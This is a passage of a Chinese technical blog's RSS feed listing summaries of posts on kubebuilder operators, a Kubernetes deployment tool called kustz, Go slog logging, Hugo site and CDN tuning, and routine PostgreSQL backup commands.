5 6 7 8 9 10 11 12 13 14 15 // SetupWithManager sets up the</description></item><item><title>《kubebuilder 从零开始实战》 - 10. 重建被删除的 Pod</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/10-recreate-deleted-pod/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/10-recreate-deleted-pod/</guid><description>重建被删除的 Pod 代码在: https://github.com/tangx/kubebuilder-zero-to-one 之前遗留了一个问题， 直接用命令行删除的 Pod 不能被重建。 这次就来解决它。 首先来整理之前遗留的问题故障点在哪里？ 使用命令 kubectl delete 直接删除 pod 的时候， redis.Finalizers 不会变更， 依旧包含被删除的 pod.Name。 在创建 Pod 的时候， 判断 Pod 是否存在使用的是 redis.Finalizers 提供信息， 而 没有判断 k8s 中真实的情况</description></item><item><title>《kubebuilder 从零开始实战》 - 11. 使用 controllerutil 优化代码</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/11-official-package-optimize/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/11-official-package-optimize/</guid><description>使用 controllerutil 优化代码 代码在: https://github.com/tangx/kubebuilder-zero-to-one 在之前的代码中， 对于 OwnerReference 和 Finalizers 操作我们自己实现了一些方法。 其实这些操作官方已经封好成包了， 开箱即用。 复制 /controllers/helper 保存为 /controllers/helper2。 前者保存手工代码， 后者保存优化代码。 https://pkg.go.dev/sigs.k8s.io/controller-runtime/pkg/controller/controllerutil Finalizers 操作 之前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29</description></item><item><title>《kubebuilder 从零开始实战》 - 12. 增加 k8s event 事件支持</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/12-add-event/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/12-add-event/</guid><description>增加 event 事件支持 代码在: https://github.com/tangx/kubebuilder-zero-to-one k8s 官方 controller 都实现了 Events 消息信息， 如下 1 2 3 4 5 6 7 kubectl describe deployment k8s-operator-demo-controller-manager Events: Type Reason Age From Message ---- ------ ---- ---- ------- Normal ScalingReplicaSet 15m deployment-controller Scaled up replica set k8s-operator-demo-controller-manager-75cc59d8ff to 1 Normal ScalingReplicaSet 14m deployment-controller Scaled down replica set k8s-operator-demo-controller-manager-b9d9f7886 to 0 我们自定义的 Operator 同样可以实现。 operator 支持 event 在 /controllers/redis_controller.go 中定义 RedisReconcile 的时候， 添加 EventRecord 字段。 1 2 3 4 5 6 7 8 // RedisReconciler reconciles a Redis object type RedisReconciler struct { client.Client Scheme *runtime.Scheme // 添加事件 EventRecord record.EventRecorder } 在 /main.go 中， 创</description></item><item><title>《kubebuilder 从零开始实战》 - 13. 添加 CRD 对象 Status 状态字段</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/13-add-status/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/13-add-status/</guid><description>添加 CRD 对象 Status 状态字段 代码在: https://github.com/tangx/kubebuilder-zero-to-one 添加 kd 状态字段 在 /api/v1/redis_types.go 的 RedisStatus 中添加需要展示的字段。 这里添加一个副本数量。 1 2 3 4 5 type RedisStatus struct { // INSERT ADDITIONAL STATUS FIELD - define observed state of cluster // Important: Run &amp;#34;make&amp;#34; to regenerate code after modifying this file Replicas int `json:&amp;#34;replicas&amp;#34;` } 偷懒， 没有在创建或删除 pod 时进行精细控制。 而是使用 defer 在 Reconcile 退出的时候进行一次最终的赋值管理。 1 2 3 4 5 6 7 8 9 10 11 12 13</description></item><item><title>《kubebuilder 从零开始实战》 - 14. CRD 支持 kubectl scale 和 kubectl autoscale 命令</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/14-kubectl-scale-autoscale-support/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/14-kubectl-scale-autoscale-support/</guid><description>支持 kubectl scale 和 kubectl autoscale 命令 代码在: https://github.com/tangx/kubebuilder-zero-to-one 在 k8s 自定义资源中有关于 scale 和 hpa 的 subresources 字段， 只有这些字段被定义的时候才能支持 scale 和 autoscale 命令 官方定义如下 https://kubernetes.io/zh/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#scale-subresource 在 kubebuilde 中， 使用 //+kubebuilder:subresource:scale 增加注解， 生成对应的配置。 注意， 未知需要在 //+kubebuilder:subresource:status 下方 1 2 3 //+kubebuilder:object:root=true //+kubebuilder:subresource:status //+kubebuilder:subresource:scale:specpath=.spec.replicas,statuspath=.status.replicas,selectorpath=.status.selector 三个关键字段: specpath: specReplicasPath 指定定制资源内与 scale.spec.replicas 对应的 JSON 路径。 此字段为 必需值 。 只可以使用 .spec 下的 JSON</description></item><item><title>Golang 库: 为什么 Golang slog 库不支持 Fatal 了</title><link>https://typonotes.com/posts/2023/01/06/why-dont-golang-slog-support-fatal-api/</link><pubDate>Fri, 06 Jan 2023 08:09:33 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/06/why-dont-golang-slog-support-fatal-api/</guid><description>Golang 库: 为什么 Golang slog 库不支持 slog.Fatal API 原文链接: https://tangx.in/posts/2023/01/06/why-dont-golang-slog-support-fatal-api/ 使用 slog 默认不支持 Fatal 如果直接把 slog 当成 log 使用， 会有一点点头疼 1 2 3 4 5 6 7 8 9 10 11 func main() { slog.Debug(&amp;#34;debug&amp;#34;) slog.Info(&amp;#34;info&amp;#34;) slog.Warn(&amp;#34;warn&amp;#34;) slog.Error(&amp;#34;err&amp;#34;, fmt.Errorf(&amp;#34;game over&amp;#34;)) // slog.Fatal(&amp;#34;don&amp;#39;t support&amp;#34;) } // 2023/01/06 07:41:50 INFO info // 2023/01/06 07:41:50 WARN warn // 2023/01/06 07:41:50 ERROR err err=&amp;#34;game over&amp;#34; slog 默认日志级别 是 info， 无法输出 DEBUG 日志。 需要自定义 handler 实现日志级别判断。 参考 Golang 库: 怎么使用 golang slog 设置日志</description></item><item><title>Golang 库: 怎么使用 golang slog 设置日志 Debug 等级</title><link>https://typonotes.com/posts/2023/01/06/how-to-set-debug-level-in-golang-slog/</link><pubDate>Fri, 06 Jan 2023 07:22:12 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/06/how-to-set-debug-level-in-golang-slog/</guid><description>Golang 库: 怎么使用 golang slog 设置日志 Debug 等级 原文链接: https://tangx.in/posts/2023/01/06/how-to-set-debug-level-in-golang-slog/ 在 golang 中， 日志统一 一直都是一个头疼的问题。 在 exp 中， Go 加入了一个 新库 exp/slog ， 希望能转正。 这里有一些关于 slog 的介绍， 可以参考 Go 十年了，终于想起要统一 log 库了！ 使用 slog 习惯误区， 默认日志级别是 Info 如果直接把 slog 当成 log 使用， 可能又一点问题。 1 2 3 4 5 6 7 8 9 10</description></item><item><title>腾讯企业邮箱收到不 Gmail 邮件， DNS 记录 CNAME 记录与 MX 记录冲突</title><link>https://typonotes.com/posts/2023/01/06/dns-record-cname-confilic-with-mx/</link><pubDate>Fri, 06 Jan 2023 06:36:28 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/06/dns-record-cname-confilic-with-mx/</guid><description>腾讯企业邮箱收到不 Gmail 邮件， DNS 记录 CNAME 记录与 MX 记录冲突 原文链接: https://tangx.in/posts/2023/01/06/dns-record-cname-confilic-with-mx/ 为了统一， 我申请了腾讯企业邮箱， 绑定了本站的域名。 但是在测试邮件的时候， 却发现 企业邮箱 发送邮件 一切正常 可以收到来自国内邮箱的邮件， 例如 QQ, 163， 却 收不到 来自 Gmail 的邮件。 查询资料后， 确定是在 DNS 解析记录中， CNAME 与 MX 记录冲突。 由</description></item><item><title>从零开始写 k8s 发布工具 - 1.0. kustz 介绍和设计思想</title><link>https://typonotes.com/posts/books/kustz/chapter01/01-introduce/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter01/01-introduce/</guid><description>从零开始写 k8s 发布工具（1） - kustz 介绍和设计思想 介绍 如果要在 Kubernets 发布一个应用， 并对外提供服务， 需要配置诸如 Dep, Ing, Svc 等 Config API。 他们之间又是通过 Label 组合选择而实现的 松耦合。 如果想要这些 Config API 之间的关系更加紧密， 我们可以自己再向上抽象， 通过自己的配置将他们整合在一起。 更重要的是， 我们可以通过这层</description></item><item><title>从零开始写 k8s 发布工具 - 2.1. 模仿 kubectl create 创建 Deployment 样例</title><link>https://typonotes.com/posts/books/kustz/chapter02/01-sample-deployment/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter02/01-sample-deployment/</guid><description>2.1. 模仿 kubectl create 创建 Deployment 样例 为了简单， 我们假定所管理的 Deployment 都是 单容器 的。 首先参考 kubectl create 命令 1 $ kubectl create deployment my-dep --image=busybox --replicas 1 --dry-run=client -o yaml 安装 client-go API 访问 client-go https://github.com/kubernetes/client-go 1 $ go get k8s.io/client-go@v0.25.4 这里直接选用最新版本 v0.25.4。 对于其他版本的兼容， 留在以后再做。 定义 Kustz Config 参考 kubectl create 命令， 创建配置文件 kustz.yml 结构如下 1 2 3 4 5 6 7 8 # kustz.yml namespace: demo-demo name: srv-webapp-demo service: name: nginx image: docker.io/library/nginx:alpine</description></item><item><title>从零开始写 k8s 发布工具 - 2.2. 定义字符串创建 Service</title><link>https://typonotes.com/posts/books/kustz/chapter02/02-define-strings-to-service/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter02/02-define-strings-to-service/</guid><description>2.2. 定义字符串创建 Service 大家好， 我是老麦， 一个小运维。 今天我们为 kustz 增加 service 解析功能。 通过 kubectl create service 命令可以看到， service 的模式还是挺多的。 1 2 3 4 5 6 7 8 9 10 11 $ kubectl create service -h Create a service using a specified subcommand. Aliases: service, svc Available Commands: clusterip Create a ClusterIP service externalname Create an ExternalName service loadbalancer Create a LoadBalancer service nodeport Create a NodePort service 除了以上列出来的四种之外， 还用一种 Headless Service( https://kubernetes.io/docs/concepts/services-networking/service/#headless-services )。 Headless Service 是当 类型 为 Clu</description></item><item><title>从零开始写 k8s 发布工具 - 2.3. 解析 URL 为 Ingress</title><link>https://typonotes.com/posts/books/kustz/chapter02/03-parse-url-to-ingress/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter02/03-parse-url-to-ingress/</guid><description>2.3. 解析 URL 为 Ingress 之前已经提到过， 在 kustz.yml 中的字段值， 要尽量做到 见名知义。 对于 Ingress 而言， 在发布之后， 我们访问的就是 URL 地址。 http://api.example.com/v1 因此我们可以考虑 从结果推导解析渲染 Ingress 。 Kubernetes Ingress 老规矩， 我们还是通过命令看看创建一个 ingress 需要提供哪些参数。 1 2 $ kubectl create ingress simple --rule=&amp;#34;foo.com/bar=svc1:8080,tls=my-cert&amp;#34; -o yaml --dry-run=client 在 rule 中， 提供了两组 k-v。 其中， foo.com/bar 就是一个不带协</description></item><item><title>从零开始写 k8s 发布工具 - 2.4. 使用 kustomize 管理所有 k8s 文件</title><link>https://typonotes.com/posts/books/kustz/chapter02/04-kustomize/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter02/04-kustomize/</guid><description>2.4. 使用 kustomize 管理所有 k8s 文件 前面已经简单的封装了 Deployment, Service, Ingress， 完成了零部件的创建。 今天就通过 Kustomization 进行组装， 实现流水线。 Kustomize 开始之前， 先来安装 kustomize 库。 1 $ go get sigs.k8s.io/kustomize/v3 这里补充一下， 访问 Github https://github.com/kubernetes-sigs/kustomize/ 。 kustomize () 首页 README.md 并没有提到 go get 的包名。 通常 k8s 的代码在 github 上都是镜像。 这时候只需要进到 go.mod ， 包名就一目了然。 1 2 3 4</description></item><item><title>从零开始写 k8s 发布工具 - 2.5. 使用 cobra 实现 kustz 命令</title><link>https://typonotes.com/posts/books/kustz/chapter02/05-kustz-cli/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter02/05-kustz-cli/</guid><description>2.5. 使用 cobra 实现 kustz 命令 有了前面几章的努力， 我们的命令行工具 kustz 终于要问世了。 kustz 命令 当前命令功能就很简单。 default: 输出 kustz 默认配置。 render: 读取 kustz 配置并生成 kustomize 配置四件套。 1 2 3 4 5 $ kustz -h Available Commands: default 在屏幕上打印 kustz 默认配置 render 读取 kustz 配置， 生成 kustomize 所需文件 编码 本章的代码都很简单， 就是设计的文件比较多。 使用 cobra 创建命令</description></item><item><title>从零开始写 k8s 发布工具 - 3.1. 为 Container 添加环境变量</title><link>https://typonotes.com/posts/books/kustz/chapter03/01-container-env-var/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/01-container-env-var/</guid><description>3.1. 为 Container 添加环境变量 再前面一章中， 我们已经完成了 Deployment, Service, Ingress 和 Kustomization API 的封装。 并通过 cobra 库创建了属于我们自己的 kustz 命令。 然而 kustz 的功能还简陋。 今天我们就先来为容器添加环境变量。 为容器设置环境变量 在官方文档中， 提高了两种为容器设置环境变量的方法 https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/ env: 提供 k-v 模式 键值对。 值可以直接 value 提供。 也可以通过 valueFrom 从 secret</description></item><item><title>从零开始写 k8s 发布工具 - 3.2. ConfigMap 和 Secret 的生成器</title><link>https://typonotes.com/posts/books/kustz/chapter03/02-configmap-secret-generator/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/02-configmap-secret-generator/</guid><description>3.2. ConfigMap 和 Secret 的生成器 上一节我们通过 k-v 和 YAML文件 为容器添加环境变量。 同时也提到了可以通过 envFrom 这个关键字， 直接读取 ConfigMap 或 Secret 中的 k-v 作为容器的环境变量。 除了环境变量之外， ConfigMap 和 Secret 还能管理的东西还很多。 所以我个人觉得单应用管理部署的话， 对于配置的管理，还是比较重要的。 Kustomize 中的 ConfigMap Env File 在 kustzomize 中， ConfigMap 和 Secret 都</description></item><item><title>从零开始写 k8s 发布工具 - 3.3. 注入 ConfigMap 和 Secrets 到容器环境变量</title><link>https://typonotes.com/posts/books/kustz/chapter03/03-container-env-from/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/03-container-env-from/</guid><description>3.3. 注入 ConfigMap 和 Secrets 到容器环境变量 大家好， 我是老麦。 一个运维小学生。 有了前面两张的铺垫， 今天这个很简单。 我们说说另外一种为容器注入环境变量的方式。 容器变量注入 EnvFrom 前面我们提到过， Container 有两种方式定义环境变量， 其中一种就是 envFrom， 从 ConfigMap 或 Secret 中读取所有键值对作为容器的变量。 ConfigMap 和 Secret 看起来是这样</description></item><item><title>从零开始写 k8s 发布工具 - 3.4. 用字符串定义容器申请资源上下限</title><link>https://typonotes.com/posts/books/kustz/chapter03/04-container-resources/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/04-container-resources/</guid><description>3.4. 用字符串定义容器申请资源上下限 Pod 的资源申请， 在调度策略中， 是一个重要的参数数据。 因此其重要性自然不必多说 容器资源申请 在官网中， 对于资源的申请和管理有详细的描述。 https://kubernetes.io/zh-cn/docs/concepts/configuration/manage-resources-containers/ 和 服务质量 QoS 息息相关， https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/quality-service-pod/ 这里简单的归类， 可以速记， 按照服务质量高到低 Guaranteed: request = limit Burstable: request &amp;lt; limit BestEffort: 没有 request 和 limit kustz.yml 配置 还是先来看看 kustz.yml</description></item><item><title>从零开始写 k8s 发布工具 - 3.5. 为 Container 添加健康检查方法</title><link>https://typonotes.com/posts/books/kustz/chapter03/05-container-probe/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/05-container-probe/</guid><description>3.5. 为 Container 添加健康检查方法 kustz 终于到了准生产的地步了。 今天的健康检查接口， 就为我们解决这个问题。 我们要知道， 确定一个应用能不能对外提供服务之前， 需要进行一个 可用性 检测。 而这个检测通常被我们称为 健康检查。 Kubernetes 的健康检查 在 Kubernetes 中， 为我们提供了 主要 的 3类状态 的健康检查。 startup: 等待探针。 如果执行成功，</description></item><item><title>从零开始写 k8s 发布工具 - 3.6. 镜像拉取鉴权和策略</title><link>https://typonotes.com/posts/books/kustz/chapter03/06-image-pull-policy/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter03/06-image-pull-policy/</guid><description>3.6. 镜像拉取鉴权和策略 今天我们解决镜像拉取鉴权和策略 镜像拉取鉴权 拉取私有镜像或私有仓库镜像的时候， 需要提供鉴权信息。 在 Kubernets 中， 通过 Secret 管理账号这些账号信息。 Secret 类型分为两种， kubernetes.io/dockerconfigjson: 如果有linux安装了 docker， 就是 ~/.docker/config.json 这个文件。 kubernetes.io/dockercfg: 不太熟。 在 /pkg/tokube/pod.go 中， 可以看到 ImagePullSecrets 的处理方法。 就是将字符串转为 kubernetes 的</description></item><item><title>从零开始写 k8s 发布工具 - 4.1. 使用 cobrautils 为命令添加更实用的命令参数</title><link>https://typonotes.com/posts/books/kustz/chapter04/01-kustz-flags/</link><pubDate>Thu, 05 Jan 2023 13:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kustz/chapter04/01-kustz-flags/</guid><description>4.1. 使用 cobrautils 为命令添加更实用的命令参数 之前的章节， 我们陆陆续续给 kustz 库添加了很多丰富服务的配置 但 kustz 命令， 还是处于一个很原始的命令状态。 接下来我们给 kustz 添加一些更丰富的参数 ， 使 kustz 用起来更顺手。 在 CICD 的中， 一般情况下 变量，健康检查， 镜像策略 等很难发生变动。 而镜像名称 经常性 的在每次打包后发生变化</description></item><item><title>怎么在 Kustomize 中添加多行变量</title><link>https://typonotes.com/posts/2023/01/05/how-to-create-multiple-line-variables-in-kustomize/</link><pubDate>Thu, 05 Jan 2023 13:09:55 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/05/how-to-create-multiple-line-variables-in-kustomize/</guid><description>怎么在 Kustomize 中添加多行变量 原文链接: https://tangx.in/posts/2023/01/05/how-to-create-multiple-line-variables-in-kustomize/ kustomize 是 k8s 官方出的一个 应用管理工具 ， 说起来还是很好用的。 可以参考 k8s 部署工具 kustomize 的实用小技巧 Kustomize 中的 ConfigMap/Secrets Generator 在配置管理方面， kustomize 为我们提供了 Generator 帮助我们管理配置文件。 提供了三个 API 模块 files: 通过 文件 生成 文件 literals: 通过文字 字面量 k=v 生成 k=v 数据 envs: 通过 文件 生成 k=v 数据。 这个应该是 files 和</description></item><item><title>Hugo 网站优化(9): 【废弃】 实施更新与缓存加速兼顾， 使用 Github Action 主动预热 CDN 缓存</title><link>https://typonotes.com/posts/2023/01/04/hugo-qcloud-cdn-purge-and-push/</link><pubDate>Wed, 04 Jan 2023 16:35:49 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/04/hugo-qcloud-cdn-purge-and-push/</guid><description>Hugo 网站优化(9): 实施更新与缓存加速兼顾， 使用 Github Action 主动预热 CDN 缓存 原文链接: https://tangx.in/posts/2023/01/04/hugo-qcloud-cdn-purge-and-push/ Github Page 实现的 纯静态 网站加 CDN 就是麻烦。 缓存时间设置短了， 回源网站打开慢。 缓存时间设置长了， 发布新文章又很长时间无法展示。 于是， 我又盯上了 Github Action 的实现发布文章后主动预热网站， 这样在 CDN 中的缓存配置就更通用了。 实际上</description></item><item><title>Hugo 网站优化(8): 书房装上了小电视， 使用 hugo shortcodes 支持 bilibili 视频播放</title><link>https://typonotes.com/posts/2023/01/04/hugo-bilibili-support/</link><pubDate>Wed, 04 Jan 2023 15:23:28 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/04/hugo-bilibili-support/</guid><description>Hugo 网站优化(8): 书房装上了小电视， 使用 hugo shortcodes 支持 bilibili 视频播放 原文链接: https://tangx.in/posts/2023/01/04/hugo-bilibili-support/ 在学习的时候希望资料和笔记内容都能在一起。 这样 查阅、回顾 起来就更方便了。 hugo 短代码(shortcodes) 模版 在搜索的时候， 找到 利用hugo的短代码功能插入b站视频并且自适应 了这篇文章， 实现了嵌入 Bilibili 的播放器。 进一</description></item><item><title>Kubernetes 不同的升级策略是如何影响服务质量 QoS 的</title><link>https://typonotes.com/posts/2023/01/03/kubernetes-upgrade-strategy-and-qos/</link><pubDate>Tue, 03 Jan 2023 18:15:50 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/03/kubernetes-upgrade-strategy-and-qos/</guid><description>Kubernetes 不同的升级策略是如何影响服务质量 QoS 的 Deployments#Strategy - Kubernetes 无论采取哪种升级方式, 都应该在容器中使用 probe , 降低业务抖动 Pod 升级策略 .spec.strategy.type 有两种方式可选: RollingUpdate : 滚动升级. .spec.strategy.rollingUpdate.maxUnavailable 最大不可用 , 默认 25% , 即升级期间, 总容器数量为 100%。 循环 删旧扩新 .spec.strategy.rollingUpdate.maxSurge 最大弹性, 默认 30% , 即升级期间, 总容器数量不超过 130%。 循环 扩新删旧</description></item><item><title>Pgsql数据库: psql 命令非交互式备份与恢复</title><link>https://typonotes.com/posts/2023/01/02/pgsql-dump-and-restore/</link><pubDate>Mon, 02 Jan 2023 10:01:57 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/02/pgsql-dump-and-restore/</guid><description>Pgsql数据库: psql 命令非交互式备份与恢复 通常， 我们在使用 psql 命令的时候， 使用交互式命令， 输入密码， 保证安全。 1 2 3 4 5 # 备份 pg_dump -U root -h 172.17.101.250 -W -d intelliep_event &amp;gt; demo.sql # 登录 psql -U root -h 172.17.101.250 -W -d intelliep_event &amp;lt; demo.sql 非交互式操作 但是在 脚本 中执行备份和恢复的时候， 交互式的输入密码就非常不方便了。 要实现非交互式， 非常简单。 只需要</description></item><item><title>Hugo 网站优化(7): 把我图床搬到又拍云 (upyun) 了， 做图床真的很好用</title><link>https://typonotes.com/posts/2023/01/02/hugo-use-upyun-cdn-for-static-site/</link><pubDate>Mon, 02 Jan 2023 09:09:37 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/02/hugo-use-upyun-cdn-for-static-site/</guid><description>Hugo 网站优化(7): 把我图床搬到又拍云了(upyun)， 做图床真的很好用 又拍云 CDN 附加功能很多， 作为资源站很爽。 原文链接: https://tangx.in/posts/2023/01/02/hugo-use-upyun-cdn-for-static-site/ 费用 又拍云有一个 联盟推广服务，需要在网站上挂又拍云的 LOGO，相当于广告费。 对联盟成员提供 10G 对象存储 15G 流量（支持 HTTPS) 点击我的 又拍云推广链接 , 注册并完成实名认证，即</description></item><item><title>Hugo 网站优化(6): 博客图片不能显示全怪 Adblock。 Referrer Policy: no-referrer-when-downgrade</title><link>https://typonotes.com/posts/2023/01/01/no-referrer-when-downgrade-image/no-referrer-when-downgrade-image/</link><pubDate>Sun, 01 Jan 2023 21:45:51 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/01/no-referrer-when-downgrade-image/no-referrer-when-downgrade-image/</guid><description>Hugo 网站优化(6): 博客图片不能显示全怪 Adblock。 原文链接: https://tangx.in/posts/2023/01/01/no-referrer-when-downgrade-image/ 我在 博客 老麦的书房 上， 放了几个推广链接， 等待好心人帮我点一点。 但是今天换了一台电脑后， 发现推广链接突然不能显示了。 打开调试模式， 发现图片报红， 报错 Referrer Policy: no-referrer-when-downgrade 。 经过搜索， 提示发现这个是 浏览器的安全策略 ， 不能从 https 的网站访问</description></item><item><title>Linux 工具命令(02): shfmt 格式化 shell 脚本， vscode 神插件</title><link>https://typonotes.com/posts/2022/12/30/vscode-shfmt/</link><pubDate>Fri, 30 Dec 2022 22:50:10 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/30/vscode-shfmt/</guid><description>Linux 工具命令(02): shfmt 格式化 shell 脚本， vscode 神插件 如果你用 Linux， 那你一定会遇到各种各样的 shell script（下称 script) 可惜的是， script 并没有一个 强制 约束的格式。 对于分支控制语句， 都有自己的关键字。 条件语句: if (...) then ... else ... fi 循环语句: for ... do ... done 等。 因此 是否使用 {statement} 或者 缩进 并不影响。 当分支语句多，且</description></item><item><title>Linux 基础命令(01): dos2unix 搞定 Linux 和 Windows 换行符的噩梦</title><link>https://typonotes.com/posts/2022/12/29/dos2unix-and-unix2dos/</link><pubDate>Thu, 29 Dec 2022 18:21:00 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/29/dos2unix-and-unix2dos/</guid><description>大家好， 我是老麦 欢迎 关注公众号 Go与云原生 或 订阅网站 https://tangx.in/ 第一时间看后续精彩文章。 觉得好的话，请猛击文章右下角「在看」 一键三连， 是对我的最大支持。 原文链接: https://tangx.in/posts/2022/12/28/dos2unix-and-unix2dos/ Linux 基础命令(01): dos2unix 搞定 Linux 和 Windows 换行符的噩梦 不同操作系统 换行符 标准不统一， 秦始皇听了都要落泪。 多少年前， 我曾也被这东西坑过无数</description></item><item><title>Hugo 网站优化(5)： 穷的还剩 8 分钱， 还是再压缩一下图片节约流量吧</title><link>https://typonotes.com/posts/2022/12/27/hugo-image-compress/</link><pubDate>Tue, 27 Dec 2022 16:15:12 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/27/hugo-image-compress/</guid><description>Hugo 网站优化(5)： 穷的还剩 8 分钱， 还是再压缩一下图片节约流量吧 大家好， 我是老麦 欢迎 关注公众号 Go与云原生 或 订阅网站 https://tangx.in/ 第一时间看后续精彩文章。 觉得好的话，请猛击文章右下角「在看」 一键三连， 是对我的最大支持。 我很穷， 穷的来只剩账户只有 8 分钱了。 所以我每天都在想怎么能继续降低成本， 毕竟</description></item><item><title>Hugo 网站优化(4)： 为了防盗链， 不得不部署了两个网站</title><link>https://typonotes.com/posts/2022/12/27/hugo-cdn-http-referer/</link><pubDate>Tue, 27 Dec 2022 16:14:55 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/27/hugo-cdn-http-referer/</guid><description>Hugo 网站优化(4)： 为了防盗链， 不得不部署了两个网站 大家好， 我是老麦 欢迎 关注公众号 maitalking 或 订阅网站 https://tangx.in/ 。 第一时间看后续精彩文章。觉得好的话，请猛击文章右下角「在看」，感谢支持。 在 CDN 配置里面， 有一个 防盗链配置 ， 基本原理就是判断 http header 中的 referer 来源是否在白名单中。 最初我只添加了 tangx.in, *.tangx.i</description></item><item><title>Hugo 网站优化(3)： 我用 DnsPod 给网站实现了全球加速</title><link>https://typonotes.com/posts/2022/12/27/hugo-dns-shunting/</link><pubDate>Tue, 27 Dec 2022 11:40:45 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/27/hugo-dns-shunting/</guid><description>Hugo 网站优化(3)： 我用 dnspod 给网站实现了全球加速 大家好， 我是老麦 欢迎 关注公众号 maitalking 或 订阅网站 https://tangx.in/ 。 第一时间看后续精彩文章。觉得好的话，请猛击文章右下角「在看」，感谢支持。 之前我们用 腾讯云CDN 加速了 https://tangx.in 在国内的访问。 虽然没必要， 但我还是想做到全球访问都很快。 诚然， 可以用 CDN 的全球加速功能， 但</description></item><item><title>Hugo 网站优化(2)： 使用腾讯云 CDN 加速网站</title><link>https://typonotes.com/posts/2022/12/26/hugo-cdn/</link><pubDate>Mon, 26 Dec 2022 15:47:11 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/26/hugo-cdn/</guid><description>Hugo 网站优化(2)： 使用腾讯云 CDN 加速网站 大家好， 我是老麦 欢迎 关注公众号 maitalking 或 订阅网站 https://tangx.in/ 。 第一时间看后续精彩文章。觉得好的话，请猛击文章右下角「在看」，感谢支持。 通过 Hugo 编译成为静态文件之后， 使用 github page 发布。 网站虽然发布了， 但是资源还在 github.io 上，在国内访问还是很慢， 需要 CDN 加速访问。 兜兜转转调研</description></item><item><title>Hugo 网站优化(1)： 渲染 Markdown 图片引用地址</title><link>https://typonotes.com/posts/2022/12/26/hugo-render-markdown-image-url/</link><pubDate>Mon, 26 Dec 2022 14:21:42 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/26/hugo-render-markdown-image-url/</guid><description>Hugo 网站优化(1)： 渲染 Markdown 图片引用地址 大家好， 我是老麦 欢迎 关注公众号 maitalking 或 订阅网站 https://tangx.in/ 。 第一时间看后续精彩文章。觉得好的话，请猛击文章右下角「在看」，感谢支持。 作为一个技术人员， 使用 Markdown 写文章确实很方便。 引用图片通常有如下三种 1 2 3 4 5 6 7 8 9 # 1. 相对路径 ![](image.png) # 本文不讨论 ![](./image.png) # 2. 工程目录绝对</description></item><item><title>OpenTelemetry(3): Collector Contrib 配置接入 Aliyun SLS Trace 服务</title><link>https://typonotes.com/posts/2022/12/23/aliyun-sls-trace-configuration/</link><pubDate>Fri, 23 Dec 2022 18:49:12 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/23/aliyun-sls-trace-configuration/</guid><description>OpenTelemetry(3): Collector Contrib 配置接入 Aliyun SLS Trace 服务 在 Opentelmetry(2): 【内部分享】 从入门到精通 中提到， 应用通过 OpenTelemetry Collector Contrib 将采集到的数据转发到 任意后端程序。 阿里云提供了一个 SLS Trace 服务 ， 类似于 Jaeger， 可以提供服务的观测性。 1. 创建 SLS Trace 服务 创建新实例之后， 可以看到如下图 其中标记的 1，2，3 之后 授权 和 访问 需要用到的。 除了这几个参数</description></item><item><title>在 Docker 